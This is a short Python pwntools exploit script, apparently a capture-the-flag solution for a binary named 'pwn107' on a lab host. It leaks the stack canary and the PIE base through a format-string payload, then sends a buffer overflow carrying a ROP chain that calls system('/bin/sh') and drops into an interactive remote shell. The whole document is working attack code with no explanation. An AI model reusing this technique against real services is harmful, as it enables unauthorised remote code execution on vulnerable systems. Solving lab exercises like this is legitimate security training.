37 lines
711 B
Python
37 lines
711 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./pwn107", checksec=False)
|
|
# r = process()
|
|
r = remote("10.10.74.244", 9007)
|
|
|
|
# funcs
|
|
s = lambda a: r.sendafter(b"? ", a)
|
|
ss = lambda a: r.send(a)
|
|
|
|
# leak
|
|
s(b"%13$p.%19$p")
|
|
r.recvuntil(b": ")
|
|
leaks = r.recvlineS().strip().split(".")
|
|
canary = int(leaks[0], 16)
|
|
log.info("canary: %#x", canary)
|
|
target.address = int(leaks[1][:14], 16) - 0x992
|
|
log.info("pie: %#x", target.address)
|
|
system = target.sym.system
|
|
sh = next(target.search(b"/bin/sh\0"))
|
|
|
|
# gadgets
|
|
pop_rdi = target.address + 0x0af3
|
|
|
|
# pop
|
|
buf = b"A"*24
|
|
buf += p64(canary)
|
|
buf += b"A"*8
|
|
buf += p64(pop_rdi)
|
|
buf += p64(sh)
|
|
buf += p64(pop_rdi+1)
|
|
buf += p64(system)
|
|
ss(buf)
|
|
|
|
r.interactive() |